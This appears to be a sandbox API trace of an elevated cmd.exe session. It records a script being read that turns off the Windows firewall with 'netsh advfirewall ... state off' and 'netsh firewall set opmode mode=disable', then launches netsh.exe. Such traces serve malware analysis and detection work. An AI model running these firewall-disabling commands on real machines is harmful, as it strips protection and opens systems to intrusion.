	[0249.848] ReadFile (in: hFile=0x244, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x80182ffcb8, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0x80182ffcb8*=0x1, lpOverlapped=0x0) returned 1
	[0249.849] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c60, cchWideChar=1 | out: lpWideCharStr="erentprofile state off\n") returned 1
	[0249.849] _get_osfhandle (_FileHandle=0) returned 0x244
	[0249.849] SetFilePointer (in: hFile=0x244, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0249.849] ReadFile (in: hFile=0x244, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x80182ffcb8, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0x80182ffcb8*=0x1, lpOverlapped=0x0) returned 1
	[0249.849] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c62, cchWideChar=1 | out: lpWideCharStr=" entprofile state off\n") returned 1
	[0249.849] _get_osfhandle (_FileHandle=0) returned 0x244
	[0249.849] SetFilePointer (in: hFile=0x244, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0249.849] ReadFile (in: hFile=0x244, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x80182ffcb8, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0x80182ffcb8*=0x1, lpOverlapped=0x0) returned 1
	[0249.849] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c64, cchWideChar=1 | out: lpWideCharStr="mntprofile state off\n") returned 1
	[0249.849] _get_osfhandle (_FileHandle=0) returned 0x244
	[0249.849] SetFilePointer (in: hFile=0x244, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0249.849] ReadFile (in: hFile=0x244, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x80182ffcb8, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0x80182ffcb8*=0x1, lpOverlapped=0x0) returned 1
	[0249.849] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c66, cchWideChar=1 | out: lpWideCharStr="otprofile state off\n") returned 1
	[0249.849] _get_osfhandle (_FileHandle=0) returned 0x244
	[0249.849] SetFilePointer (in: hFile=0x244, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0249.849] ReadFile (in: hFile=0x244, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x80182ffcb8, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0x80182ffcb8*=0x1, lpOverlapped=0x0) returned 1
	[0249.849] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c68, cchWideChar=1 | out: lpWideCharStr="dprofile state off\n") returned 1
	[0249.849] _get_osfhandle (_FileHandle=0) returned 0x244
	[0249.849] SetFilePointer (in: hFile=0x244, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0249.849] ReadFile (in: hFile=0x244, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x80182ffcb8, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0x80182ffcb8*=0x1, lpOverlapped=0x0) returned 1
	[0249.849] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c6a, cchWideChar=1 | out: lpWideCharStr="erofile state off\n") returned 1
	[0249.849] _get_osfhandle (_FileHandle=0) returned 0x244
	[0249.849] SetFilePointer (in: hFile=0x244, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0249.849] ReadFile (in: hFile=0x244, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x80182ffcb8, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0x80182ffcb8*=0x1, lpOverlapped=0x0) returned 1
	[0249.850] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c6c, cchWideChar=1 | out: lpWideCharStr="=ofile state off\n") returned 1
	[0249.850] _get_osfhandle (_FileHandle=0) returned 0x244
	[0249.850] SetFilePointer (in: hFile=0x244, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0249.850] ReadFile (in: hFile=0x244, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x80182ffcb8, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0x80182ffcb8*=0x1, lpOverlapped=0x0) returned 1
	[0249.850] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c6e, cchWideChar=1 | out: lpWideCharStr="dfile state off\n") returned 1
	[0249.850] _get_osfhandle (_FileHandle=0) returned 0x244
	[0249.850] SetFilePointer (in: hFile=0x244, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0249.850] ReadFile (in: hFile=0x244, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x80182ffcb8, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0x80182ffcb8*=0x1, lpOverlapped=0x0) returned 1
	[0249.850] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c70, cchWideChar=1 | out: lpWideCharStr="iile state off\n") returned 1
	[0249.850] _get_osfhandle (_FileHandle=0) returned 0x244
	[0249.850] SetFilePointer (in: hFile=0x244, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0249.850] ReadFile (in: hFile=0x244, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x80182ffcb8, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0x80182ffcb8*=0x1, lpOverlapped=0x0) returned 1
	[0249.912] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c72, cchWideChar=1 | out: lpWideCharStr="sle state off\n") returned 1
	[0249.919] _get_osfhandle (_FileHandle=0) returned 0x244
	[0249.919] SetFilePointer (in: hFile=0x244, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0249.919] ReadFile (in: hFile=0x244, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x80182ffcb8, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0x80182ffcb8*=0x1, lpOverlapped=0x0) returned 1
	[0249.919] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c74, cchWideChar=1 | out: lpWideCharStr="ae state off\n") returned 1
	[0249.919] _get_osfhandle (_FileHandle=0) returned 0x244
	[0249.919] SetFilePointer (in: hFile=0x244, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0249.919] ReadFile (in: hFile=0x244, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x80182ffcb8, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0x80182ffcb8*=0x1, lpOverlapped=0x0) returned 1
	[0249.919] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c76, cchWideChar=1 | out: lpWideCharStr="b state off\n") returned 1
	[0249.919] _get_osfhandle (_FileHandle=0) returned 0x244
	[0249.919] SetFilePointer (in: hFile=0x244, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0249.919] ReadFile (in: hFile=0x244, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x80182ffcb8, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0x80182ffcb8*=0x1, lpOverlapped=0x0) returned 1
	[0249.919] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c78, cchWideChar=1 | out: lpWideCharStr="lstate off\n") returned 1
	[0249.919] _get_osfhandle (_FileHandle=0) returned 0x244
	[0249.919] SetFilePointer (in: hFile=0x244, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0249.919] ReadFile (in: hFile=0x244, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x80182ffcb8, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0x80182ffcb8*=0x1, lpOverlapped=0x0) returned 1
	[0249.919] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c7a, cchWideChar=1 | out: lpWideCharStr="etate off\n") returned 1
	[0249.919] _get_osfhandle (_FileHandle=0) returned 0x244
	[0249.919] SetFilePointer (in: hFile=0x244, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0249.919] ReadFile (in: hFile=0x244, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x80182ffcb8, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0x80182ffcb8*=0x1, lpOverlapped=0x0) returned 1
	[0249.919] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c7c, cchWideChar=1 | out: lpWideCharStr="\nate off\n") returned 1
	[0249.920] _get_osfhandle (_FileHandle=0) returned 0x244
	[0249.920] GetFileType (hFile=0x244) returned 0x3
	[0249.920] _get_osfhandle (_FileHandle=0) returned 0x244
	[0249.920] SetFilePointer (in: hFile=0x244, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0249.920] _get_osfhandle (_FileHandle=1) returned 0x254
	[0249.920] GetFileType (hFile=0x254) returned 0x3
	[0249.920] _get_osfhandle (_FileHandle=1) returned 0x254
	[0249.920] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="netsh firewall set opmode mode=disable\n", cchWideChar=-1, lpMultiByteStr=0x7ff683589970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="netsh firewall set opmode mode=disable\n", lpUsedDefaultChar=0x0) returned 40
	[0249.920] WriteFile (in: hFile=0x254, lpBuffer=0x7ff683589970*, nNumberOfBytesToWrite=0x27, lpNumberOfBytesWritten=0x80182ffc58, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesWritten=0x80182ffc58*=0x27, lpOverlapped=0x0) returned 1
	[0249.920] GetProcessHeap () returned 0x1da87280000
	[0249.920] RtlAllocateHeap (HeapHandle=0x1da87280000, Flags=0x8, Size=0x4012) returned 0x1da87288380
	[0249.920] GetProcessHeap () returned 0x1da87280000
	[0249.920] RtlFreeHeap (HeapHandle=0x1da87280000, Flags=0x0, BaseAddress=0x1da87288380) returned 1
	[0249.920] _wcsicmp (_String1="netsh", _String2=")") returned 69
	[0249.920] _wcsicmp (_String1="FOR", _String2="netsh") returned -8
	[0249.920] _wcsicmp (_String1="FOR/?", _String2="netsh") returned -8
	[0249.920] _wcsicmp (_String1="IF", _String2="netsh") returned -5
	[0249.920] _wcsicmp (_String1="IF/?", _String2="netsh") returned -5
	[0249.920] _wcsicmp (_String1="REM", _String2="netsh") returned 4
	[0249.920] _wcsicmp (_String1="REM/?", _String2="netsh") returned 4
	[0249.920] GetProcessHeap () returned 0x1da87280000
	[0249.920] RtlAllocateHeap (HeapHandle=0x1da87280000, Flags=0x8, Size=0xb0) returned 0x1da87280730
	[0249.921] GetProcessHeap () returned 0x1da87280000
	[0249.921] RtlAllocateHeap (HeapHandle=0x1da87280000, Flags=0x8, Size=0x1c) returned 0x1da872881b0
	[0249.921] GetProcessHeap () returned 0x1da87280000
	[0249.921] RtlAllocateHeap (HeapHandle=0x1da87280000, Flags=0x8, Size=0x54) returned 0x1da87286c00
	[0249.922] GetConsoleOutputCP () returned 0x1b5
	[0250.064] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff68358fbb0 | out: lpCPInfo=0x7ff68358fbb0) returned 1
	[0250.064] SetThreadUILanguage (LangId=0x0) returned 0x409
	[0250.140] GetConsoleTitleW (in: lpConsoleTitle=0x80182ffaa0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe") returned 0x2b
	[0250.146] malloc (_Size=0xffce) returned 0x1da874e0840
	[0250.146] ??_V@YAXPEAX@Z () returned 0x1da874e0840
	[0250.146] malloc (_Size=0xffce) returned 0x1da874f0820
	[0250.146] ??_V@YAXPEAX@Z () returned 0x1da874f0820
	[0250.146] _wcsicmp (_String1="netsh", _String2="DIR") returned 10
	[0250.146] _wcsicmp (_String1="netsh", _String2="ERASE") returned 9
	[0250.146] _wcsicmp (_String1="netsh", _String2="DEL") returned 10
	[0250.146] _wcsicmp (_String1="netsh", _String2="TYPE") returned -6
	[0250.146] _wcsicmp (_String1="netsh", _String2="COPY") returned 11
	[0250.146] _wcsicmp (_String1="netsh", _String2="CD") returned 11
	[0250.147] _wcsicmp (_String1="netsh", _String2="CHDIR") returned 11
	[0250.147] _wcsicmp (_String1="netsh", _String2="RENAME") returned -4
	[0250.147] _wcsicmp (_String1="netsh", _String2="REN") returned -4
	[0250.147] _wcsicmp (_String1="netsh", _String2="ECHO") returned 9
	[0250.147] _wcsicmp (_String1="netsh", _String2="SET") returned -5
	[0250.147] _wcsicmp (_String1="netsh", _String2="PAUSE") returned -2
	[0250.147] _wcsicmp (_String1="netsh", _String2="DATE") returned 10
	[0250.147] _wcsicmp (_String1="netsh", _String2="TIME") returned -6
	[0250.147] _wcsicmp (_String1="netsh", _String2="PROMPT") returned -2
	[0250.147] _wcsicmp (_String1="netsh", _String2="MD") returned 1
	[0250.147] _wcsicmp (_String1="netsh", _String2="MKDIR") returned 1
	[0250.147] _wcsicmp (_String1="netsh", _String2="RD") returned -4
	[0250.147] _wcsicmp (_String1="netsh", _String2="RMDIR") returned -4
	[0250.147] _wcsicmp (_String1="netsh", _String2="PATH") returned -2
	[0250.147] _wcsicmp (_String1="netsh", _String2="GOTO") returned 7
	[0250.147] _wcsicmp (_String1="netsh", _String2="SHIFT") returned -5
	[0250.147] _wcsicmp (_String1="netsh", _String2="CLS") returned 11
	[0250.147] _wcsicmp (_String1="netsh", _String2="CALL") returned 11
	[0250.147] _wcsicmp (_String1="netsh", _String2="VERIFY") returned -8
	[0250.147] _wcsicmp (_String1="netsh", _String2="VER") returned -8
	[0250.147] _wcsicmp (_String1="netsh", _String2="VOL") returned -8
	[0250.147] _wcsicmp (_String1="netsh", _String2="EXIT") returned 9
	[0250.147] _wcsicmp (_String1="netsh", _String2="SETLOCAL") returned -5
	[0250.147] _wcsicmp (_String1="netsh", _String2="ENDLOCAL") returned 9
	[0250.147] _wcsicmp (_String1="netsh", _String2="TITLE") returned -6
	[0250.147] _wcsicmp (_String1="netsh", _String2="START") returned -5
	[0250.147] _wcsicmp (_String1="netsh", _String2="DPATH") returned 10
	[0250.147] _wcsicmp (_String1="netsh", _String2="KEYS") returned 3
	[0250.147] _wcsicmp (_String1="netsh", _String2="MOVE") returned 1
	[0250.147] _wcsicmp (_String1="netsh", _String2="PUSHD") returned -2
	[0250.147] _wcsicmp (_String1="netsh", _String2="POPD") returned -2
	[0250.147] _wcsicmp (_String1="netsh", _String2="ASSOC") returned 13
	[0250.147] _wcsicmp (_String1="netsh", _String2="FTYPE") returned 8
	[0250.148] _wcsicmp (_String1="netsh", _String2="BREAK") returned 12
	[0250.148] _wcsicmp (_String1="netsh", _String2="COLOR") returned 11
	[0250.148] _wcsicmp (_String1="netsh", _String2="MKLINK") returned 1
	[0250.148] _wcsicmp (_String1="netsh", _String2="DIR") returned 10
	[0250.148] _wcsicmp (_String1="netsh", _String2="ERASE") returned 9
	[0250.148] _wcsicmp (_String1="netsh", _String2="DEL") returned 10
	[0250.148] _wcsicmp (_String1="netsh", _String2="TYPE") returned -6
	[0250.148] _wcsicmp (_String1="netsh", _String2="COPY") returned 11
	[0250.148] _wcsicmp (_String1="netsh", _String2="CD") returned 11
	[0250.148] _wcsicmp (_String1="netsh", _String2="CHDIR") returned 11
	[0250.148] _wcsicmp (_String1="netsh", _String2="RENAME") returned -4
	[0250.148] _wcsicmp (_String1="netsh", _String2="REN") returned -4
	[0250.148] _wcsicmp (_String1="netsh", _String2="ECHO") returned 9
	[0250.148] _wcsicmp (_String1="netsh", _String2="SET") returned -5
	[0250.148] _wcsicmp (_String1="netsh", _String2="PAUSE") returned -2
	[0250.148] _wcsicmp (_String1="netsh", _String2="DATE") returned 10
	[0250.148] _wcsicmp (_String1="netsh", _String2="TIME") returned -6
	[0250.148] _wcsicmp (_String1="netsh", _String2="PROMPT") returned -2
	[0250.148] _wcsicmp (_String1="netsh", _String2="MD") returned 1
	[0250.148] _wcsicmp (_String1="netsh", _String2="MKDIR") returned 1
	[0250.148] _wcsicmp (_String1="netsh", _String2="RD") returned -4
	[0250.148] _wcsicmp (_String1="netsh", _String2="RMDIR") returned -4
	[0250.148] _wcsicmp (_String1="netsh", _String2="PATH") returned -2
	[0250.148] _wcsicmp (_String1="netsh", _String2="GOTO") returned 7
	[0250.148] _wcsicmp (_String1="netsh", _String2="SHIFT") returned -5
	[0250.148] _wcsicmp (_String1="netsh", _String2="CLS") returned 11
	[0250.148] _wcsicmp (_String1="netsh", _String2="CALL") returned 11
	[0250.148] _wcsicmp (_String1="netsh", _String2="VERIFY") returned -8
	[0250.148] _wcsicmp (_String1="netsh", _String2="VER") returned -8
	[0250.148] _wcsicmp (_String1="netsh", _String2="VOL") returned -8
	[0250.148] _wcsicmp (_String1="netsh", _String2="EXIT") returned 9
	[0250.148] _wcsicmp (_String1="netsh", _String2="SETLOCAL") returned -5
	[0250.148] _wcsicmp (_String1="netsh", _String2="ENDLOCAL") returned 9
	[0250.148] _wcsicmp (_String1="netsh", _String2="TITLE") returned -6
	[0250.148] _wcsicmp (_String1="netsh", _String2="START") returned -5
	[0250.148] _wcsicmp (_String1="netsh", _String2="DPATH") returned 10
	[0250.148] _wcsicmp (_String1="netsh", _String2="KEYS") returned 3
	[0250.148] _wcsicmp (_String1="netsh", _String2="MOVE") returned 1
	[0250.148] _wcsicmp (_String1="netsh", _String2="PUSHD") returned -2
	[0250.149] _wcsicmp (_String1="netsh", _String2="POPD") returned -2
	[0250.149] _wcsicmp (_String1="netsh", _String2="ASSOC") returned 13
	[0250.149] _wcsicmp (_String1="netsh", _String2="FTYPE") returned 8
	[0250.149] _wcsicmp (_String1="netsh", _String2="BREAK") returned 12
	[0250.149] _wcsicmp (_String1="netsh", _String2="COLOR") returned 11
	[0250.149] _wcsicmp (_String1="netsh", _String2="MKLINK") returned 1
	[0250.149] _wcsicmp (_String1="netsh", _String2="FOR") returned 8
	[0250.149] _wcsicmp (_String1="netsh", _String2="IF") returned 5
	[0250.149] _wcsicmp (_String1="netsh", _String2="REM") returned -4
	[0250.149] ??_V@YAXPEAX@Z () returned 0x1
	[0250.149] GetProcessHeap () returned 0x1da87280000
	[0250.149] RtlAllocateHeap (HeapHandle=0x1da87280000, Flags=0x8, Size=0xffde) returned 0x1da87288380
	[0250.149] GetProcessHeap () returned 0x1da87280000
	[0250.149] RtlAllocateHeap (HeapHandle=0x1da87280000, Flags=0x8, Size=0x60) returned 0x1da87286c60
	[0250.149] _wcsnicmp (_String1="nets", _String2="cmd ", _MaxCount=0x4) returned 11
	[0250.149] malloc (_Size=0xffce) returned 0x1da874f0820
	[0250.149] ??_V@YAXPEAX@Z () returned 0x1da874f0820
	[0250.150] GetProcessHeap () returned 0x1da87280000
	[0250.150] RtlAllocateHeap (HeapHandle=0x1da87280000, Flags=0x8, Size=0x1ffac) returned 0x1da8729dab0
	[0250.159] SetErrorMode (uMode=0x0) returned 0x0
	[0250.159] SetErrorMode (uMode=0x1) returned 0x0
	[0250.159] GetFullPathNameW (in: lpFileName=".", nBufferLength=0xffce, lpBuffer=0x1da8729dac0, lpFilePart=0x80182ff320 | out: lpBuffer="C:\\WINDOWS\\system32", lpFilePart=0x80182ff320*="system32") returned 0x13
	[0250.159] SetErrorMode (uMode=0x0) returned 0x1
	[0250.159] GetProcessHeap () returned 0x1da87280000
	[0250.159] RtlReAllocateHeap (Heap=0x1da87280000, Flags=0x0, Ptr=0x1da8729dab0, Size=0x44) returned 0x1da8729dab0
	[0250.159] GetProcessHeap () returned 0x1da87280000
	[0250.159] RtlSizeHeap (HeapHandle=0x1da87280000, Flags=0x0, MemoryPointer=0x1da8729dab0) returned 0x44
	[0250.159] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff68358bb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb
	[0250.159] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1
	[0250.159] GetProcessHeap () returned 0x1da87280000
	[0250.159] RtlAllocateHeap (HeapHandle=0x1da87280000, Flags=0x8, Size=0x1b4) returned 0x1da87286cd0
	[0250.159] GetProcessHeap () returned 0x1da87280000
	[0250.159] RtlAllocateHeap (HeapHandle=0x1da87280000, Flags=0x8, Size=0x358) returned 0x1da87299520
	[0250.159] GetProcessHeap () returned 0x1da87280000
	[0250.159] RtlReAllocateHeap (Heap=0x1da87280000, Flags=0x0, Ptr=0x1da87299520, Size=0x1b6) returned 0x1da87299520
	[0250.159] GetProcessHeap () returned 0x1da87280000
	[0250.159] RtlSizeHeap (HeapHandle=0x1da87280000, Flags=0x0, MemoryPointer=0x1da87299520) returned 0x1b6
	[0250.159] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff68358bb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0250.159] GetProcessHeap () returned 0x1da87280000
	[0250.159] RtlAllocateHeap (HeapHandle=0x1da87280000, Flags=0x8, Size=0xe8) returned 0x1da872996f0
	[0250.159] GetProcessHeap () returned 0x1da87280000
	[0250.159] RtlReAllocateHeap (Heap=0x1da87280000, Flags=0x0, Ptr=0x1da872996f0, Size=0x7e) returned 0x1da872996f0
	[0250.159] GetProcessHeap () returned 0x1da87280000
	[0250.160] RtlSizeHeap (HeapHandle=0x1da87280000, Flags=0x0, MemoryPointer=0x1da872996f0) returned 0x7e
	[0250.160] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0250.160] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\netsh.*", fInfoLevelId=0x1, lpFindFileData=0x80182ff090, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x80182ff090) returned 0x1da87299780
	[0250.160] FindClose (in: hFindFile=0x1da87299780 | out: hFindFile=0x1da87299780) returned 1
	[0250.160] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\netsh.COM", fInfoLevelId=0x1, lpFindFileData=0x80182ff090, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x80182ff090) returned 0xffffffffffffffff
	[0250.160] GetLastError () returned 0x2
	[0250.160] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\netsh.EXE", fInfoLevelId=0x1, lpFindFileData=0x80182ff090, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x80182ff090) returned 0x1da87299f90
	[0250.160] FindClose (in: hFindFile=0x1da87299f90 | out: hFindFile=0x1da87299f90) returned 1
	[0250.160] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3
	[0250.160] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2
	[0250.160] ??_V@YAXPEAX@Z () returned 0x1
	[0250.160] GetConsoleTitleW (in: lpConsoleTitle=0x80182ff610, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe") returned 0x2b
	[0250.168] GetProcessHeap () returned 0x1da87280000
	[0250.168] RtlAllocateHeap (HeapHandle=0x1da87280000, Flags=0x8, Size=0x21c) returned 0x1da872813c0
	[0250.168] GetConsoleTitleW (in: lpConsoleTitle=0x1da872813d0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe") returned 0x2b
	[0250.186] GetProcessHeap () returned 0x1da87280000
	[0250.186] RtlReAllocateHeap (Heap=0x1da87280000, Flags=0x0, Ptr=0x1da872813c0, Size=0xc8) returned 0x1da872813c0
	[0250.186] GetProcessHeap () returned 0x1da87280000
	[0250.186] RtlSizeHeap (HeapHandle=0x1da87280000, Flags=0x0, MemoryPointer=0x1da872813c0) returned 0xc8
	[0250.186] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe - netsh  firewall set opmode mode=disable") returned 1
	[0250.194] GetProcessHeap () returned 0x1da87280000
	[0250.194] RtlFreeHeap (HeapHandle=0x1da87280000, Flags=0x0, BaseAddress=0x1da872813c0) returned 1
	[0250.194] InitializeProcThreadAttributeList (in: lpAttributeList=0x80182ff530, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x80182ff420 | out: lpAttributeList=0x80182ff530, lpSize=0x80182ff420) returned 1
	[0250.194] UpdateProcThreadAttribute (in: lpAttributeList=0x80182ff530, dwFlags=0x0, Attribute=0x60001, lpValue=0x80182ff40c, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x80182ff530, lpPreviousValue=0x0) returned 1
	[0250.194] GetStartupInfoW (in: lpStartupInfo=0x80182ff4c0 | out: lpStartupInfo=0x80182ff4c0*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\WINDOWS\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x244, hStdOutput=0x254, hStdError=0x254)) 
	[0250.195] GetProcessHeap () returned 0x1da87280000
	[0250.195] RtlAllocateHeap (HeapHandle=0x1da87280000, Flags=0x8, Size=0x20) returned 0x1da87286e90
	[0250.195] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38
	[0250.195] _wcsnicmp (_String1="COPYCMD", _String2="=ExitCo", _MaxCount=0x7) returned 38
	[0250.195] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2
	[0250.195] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2
	[0250.195] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0250.195] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
